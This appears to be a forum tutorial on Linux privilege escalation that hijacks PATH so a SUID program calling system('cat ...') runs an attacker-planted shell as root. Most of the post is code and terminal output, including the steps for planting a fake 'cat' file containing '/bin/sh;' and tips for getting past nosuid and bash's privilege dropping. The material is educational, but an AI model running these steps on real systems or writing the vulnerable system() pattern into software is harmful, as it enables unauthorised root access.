Linux Privilege Escalation via SUID Executables using Environment Paths

#1

A well-known way to gain root privilege in Linux is by using SUID Executables. SUID (SetUID) is a permission given to a program that allows users to execute the program as if the owner of the program were executing it. Thus, if a program is owned by root, a user temporarily has root privilege during the execution of that program. It is possible, therefore, to exploit SUID executables in order to arbitrarily execute commands as root and maintain root privilege.

Normally, programs run with the same privileges as the user that executed it. Suppose we have a program, printsecrets, that prints the contents of /root/secrets.txt.

int main(){
    execl("/usr/bin/cat","/usr/bin/cat", "/root/secrets.txt");
    return 0;
}

root ~ # ls -la printsecrets
-rwxr-xr-x 1 root root 7256 Jul 17 19:40 printsecrets
root ~ # ls -la /root/secrets.txt
-rw------- 1 root root 20 Jul 17 19:41 /root/secrets.txt
root ~ # ./printsecrets
Secret root message

The permissions of the printsecrets executable indicate that it is owned by root, but that other users are allowed to run it. The permissions of /root/secrets.txt, however, indicate that only the owner (root) can read and write to it. So the question is, if a user who is not root executes printsecrets, will /root/secrets.txt be printed?

hypervelocity ~ $ ./printsecrets
/bin/cat: /root/secrets.txt: Permission denied

So even though printsecrets was executed, /root/secrets.txt was not printed. Now, what if we set the SUID permission on ./printsecrets and then have user execute it?

root ~ # chmod u+s printsecrets
root ~ # ls -la printsecrets
-rwsr-xr-x 1 root root 7256 Jul 17 19:40 printsecrets

hypervelocity ~ $./printsecrets
Secret root message

When we first run printsecrets without the SUID permission, the Effective UID and the Real UID are the same. When the SUID permission is set, Real UID for hypervelocity is still the UID of hypervelocity, but Effective UID becomes the UID of root.


Using Environment Paths

One of the well-known ways to use SUID programs to execute commands as root is to use environement paths. Environment paths are a list of directories in which the shell will look for commands. For example, when you type ls, you do not need to type /usr/bin/ls or /bin/ls. The reason this works is because you have /usr/bin in your PATH list, which you can view by typing echo $PATH. The directories are seperated by a :

hypervelocity ~ $ ls
cat usermessage.txt
hypervelocity ~ $ echo $PATH
/usr/local/sbin:/usr/local/bin:/usr/bin:/usr/lib/jvm/default/bin:/usr/bin/site_perl:/usr/bin/vendor_perl:/usr/bin/core_perl

(I use /usr/bin and /bin interchangeably because on most Linux distributions, /bin is a symlink to /usr/bin, so they are the same thing.)

Suppose we have a program, envsecrets, similar to printsecrets, but now we use system() instead of execl() and we print the Effective and Real UIDs. The difference between system() and exec() class functions is that system() forks a new /bin/sh process while exec() functions replace your current process.

int main(){
    printf("geteuid %d\n", geteuid()); //prints effective uid
    printf("getuid %d\n", getuid()); //prints real uid
    system("cat /root/secrets.txt");
    return 0;
}

hypervelocity ~ $ ls -la envsecrets
-rwsr-xr-x 1 root root 7232 Jul 17 20:34 envsecrets
hypervelocity ~ $ ./envsecrets
geteuid 0
getuid 1001
Secret root message

Ok, so we can see the root message, but we want to be able to run commands as root other than viewing the message. What we can do with environment variables is to create a file called cat that starts a shell instead. One way to do this is to make our fake cat a symbolic link to /bin/sh. The only thing we need is a directory where we have write permissions such as our home directory.

hypervelocity ~ $ pwd
/home/hypervelocity
hypervelocity ~ $ ln -s /usr/bin/sh cat
hypervelocity ~ $ ls -la cat
lrwxrwxrwx 1 hypervelocity hypervelocity 11 Jul 17 20:46 cat -> /usr/bin/sh

Now, we have to add our home directory to the front of the PATH list. The purpose of adding it to the front is because the shell starts searching for commands at the front of the list first, and we want it to find our fake cat before it finds the real cat.

Note that even though we are running with root permissions, we still use the environment from the actual user who invoked the program, so the shell will search in the user’s $PATH for cat, which is why using a fake cat works.

hypervelocity ~ $ PATH=/home/hypervelocity:$PATH
hypervelocity ~ $ echo $PATH
/home/hypervelocity:/usr/local/sbin:/usr/local/bin:/usr/bin:/usr/lib/jvm/default/bin:/usr/bin/site_perl:/usr/bin/vendor_perl:/usr/bin/core_perl
hypervelocity ~ $ ./envsecrets
geteuid 0
getuid 1001
/root/secrets.txt: line 1: Secret: command not found
hypervelocity ~ $

So now the problem is that /bin/sh will give a shell if there are no arguments after, but if there are, it will try to execute those arguments as if they are shell scripts. Therefore, it now expects /root/secrets.txt to be a shell script and will execute its contents as commands.

There are two ways to solve this problem. Since we know that the first word is “Secret”, we can create a file called Secret and put this in our home folder, so that it will be found via $PATH as a command. Secret will actually be a file with the content /bin/sh.

hypervelocity ~ $ echo "/bin/sh;" > ~/Secret
hypervelocity ~ $ ./envsecrets
geteuid 0
getuid 1001
sh-4.3# whoami
root

Alternatively, we can realize that the /bin/sh invoked by system() can read cat as a shell script instead of an executable, so instead of linking /bin/sh to our fake cat, we can open cat as a file and write ‘/bin/sh;’.

hypervelocity ~ $ echo "/bin/sh;" > ~/cat
hypervelocity ~ $ ./envsecrets
geteuid 0
getuid 1000
sh-4.3# whoami
root 

Current Systems (Why it didn’t work)

If you were trying to follow along on an up-to-date Linux operating system, you probably found that the the examples here did not work for you.

There are two main reasons.

1. The filesystem that you are executing the binaries have been mounted with the nosuid option. In order to disable this on a home partition, for example, you can just run
mount -o remount,suid /dev/sda4 /home Alternatively, if you don’t mind the risk, you can disable it on your root partition if you do not have a separate partition for /home. Make sure your files are all inside the directory on which you disabled nosuid.

2. system() calls /bin/sh, but /bin/sh is actually /usr/bin/bash, and according to the man page for system:

system() will not, in fact, work properly from programs with set-user-ID or set-group-ID privileges on systems on which /bin/sh is bash version 2, since bash 2 drops priv‐ileges on startup. 

You can check your version of system():

hypervelocity ~ $ bash --version
GNU bash, version 4.3.46(1)-release (x86_64-unknown-linux-gnu)
Copyright (C) 2013 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>

This is free software; you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
hypervelocity ~ $ ls -la /bin/sh
lrwxrwxrwx 1 root root 4 Jun 30 14:59 /bin/sh -> bash

So if yours looks something like the above, system() won’t work. If you still want to see the examples, you can just modify envsecrets.c to

int main(){
    printf("geteuid %d\n", geteuid()); //prints effective uid
    printf("getuid %d\n", getuid()); //prints real uid
    setuid(geteuid());
    system("cat /root/secrets.txt");
    return 0;
}

Alternatively, you can modify the examples and try them with one of the exec functions.

1 Like